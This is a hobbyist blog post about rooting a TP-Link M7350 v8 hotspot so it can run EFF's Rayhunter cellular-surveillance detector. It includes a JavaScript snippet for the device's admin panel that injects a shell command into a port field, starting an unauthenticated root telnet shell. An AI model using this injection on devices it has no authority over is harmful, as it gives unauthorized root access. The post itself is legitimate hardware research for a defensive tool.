Rayhunter on TP-Link M7350 v8

Published: April 9, 2025
Modified: February 7, 2026
URL: https://toranm.me/post/2025-04-09-rayhunter-on-tp-link-m7350-v8/

Rayhunter (https://eff.org/deeplinks/2025/03/meet-rayhunter-new-open-source-tool-eff-detect-cellular-spying) by EFF is an open-source tool to detect cellular spying, aka IMSI catchers, aka Stingrays. This tool monitors the cellular network and detects anomalies. Specifically, it looks for IMSI requests, 2G downgrade, SIB types 6 and 7, and null cipher. It is originally written for the Orbic RC400L, which is hard to purchase in Europe. GitHub user m0veax has created a fork (https://github.com/m0veax/tplink_m7350) and documentation to bring Rayhunter to the TP-Link M7350, which is available in Europe.

# Rooting the TP-Link M7350 v8

Last time I heard about TP-Link, it was because TP-Links security is a joke. TP-Link routers are only good to install OpenWrt on, because they are so easy to root; don't use them for anything serious. The same is true for their modems.

There exist multiple hardware revisions for the device, with v3 and v4 having good rooting (https://github.com/m0veax/tplink_m7350/blob/main/open-v3.sh) scripts (https://github.com/m0veax/tplink_m7350/blob/main/open-v4.sh). I have a v8, which can be rooted using the "Chrome hack". GitHub user Ping2A discovered that the following JavaScript snippet opens telnet:

```javascript
Globals.models.PTModel.add({
  applicationName: "telnet",
  enableState: 1,
  entryId: 1,
  openPort: "2300-2400",
  openProtocol: "TCP",
  triggerPort: "$(busybox telnetd -l /bin/sh)",
  triggerProtocol: "TCP",
});
```

Essentially, it is a system command injection vulnerability in the admin panel.

Telneting into the device shows we are root. Looking around, the system does not inspire confidence in terms of TP-Link's security; the device runs Linux 3.18.20 and a "tp-link-ca" certificate is installed, which uses 2048-bit RSA and has a validity until 2068.

To get better shell access, `adbd` can be enabled:

```console
/ # usb_composition
usb_composition
boot hsusb composition: 902B
boot hsic composition: empty
Choose Composition by Pid:
   <snip>
   902B -       RNDIS + ADB + Mass Storage
   <snip>
   tplink -     RNDIS + Mass Storage:ECM + Mass Storage(User Mode)
   tplink_rndis -       RNDIS + Mass Storage:ECM + Mass Storage(User Mode)
Pid number : 902B
902B
Choose core: y - hsic, n - hsusb  ? (y/n)n
n
Would you like it to be the default composition ? (y/n)y
y
Would you like the composition to change immediately? (y/n)y
y
Are you performing the composition switch from adbd? (y/n)n
n
Switching to composition number 0x902B
/ # Starting adbd: done
```

# Uploading Rayhunter

A custom build of Rayhunter is provided by m0veax; I use this version. Some of the changes have been added upstream; I have not tested them.

```console
adb push rayhunter.config
adb push rayhunter-daemon
```

# Starting Rayhunter

Rayhunter states that it is recommended to install a SIM card, but it does not need to be online. Luckily, I had my old Vodafone SIM card lying around, which I migrated to eSIM in December to be able to use a Chaos Card. Thus, I did not need to go to the Handyshop. The TP-Link did not take my PIN, so I plugged it into my phone, removed the PIN, and put it back in the TP-Link.

On ADB, Rayhunter can be started:

```console
# /media/card/rayhunter-daemon /data/rayhunter/config.toml
```

# Rayhunter Web Interface

On port 8080, Rayhunter serves a web interface, showing information about the software itself and the analysis.

[image: Screenshot of Rayhunter Webinterface](../assets/post/2025-04-09-rayhunter-on-tp-link-m7350-v8/rayhunter_webinterface.png)

The PCAPs can be downloaded and analyzed in Wireshark.

[image: Screenshot of Wireshark of PCAPs](../assets/post/2025-04-09-rayhunter-on-tp-link-m7350-v8/wireshark.png)

# Conclusion

Lucky for me but also boringly, I have not yet encountered a warning. I will continue to run the software, especially when I am in Hamburg in December again. I have encountered decoding errors due to "CHOICE Addition not supported yet" and "ignoring unhandled log type: WcdmaSignallingMessage". Furthermore, I thank everyone involved with getting Rayhunter on the TP-Link and my colleagues for gifting me the device. In the future, I hope to see the patches upstream and new features added. Finally, I recommend installing an SD card to store the logs and PCAPs.

# Sources

- EFF Rayhunter (https://github.com/EFForg/rayhunter)
- m0veax Rayhunter port (https://github.com/m0veax/rayhunter-tplink-m7350)
- Issue 186 (https://github.com/EFForg/rayhunter/issues/186) and Issue 106 (https://github.com/EFForg/rayhunter/issues/106)
- m0veax research on TP-Link M7350 (https://github.com/m0veax/tplink_m7350)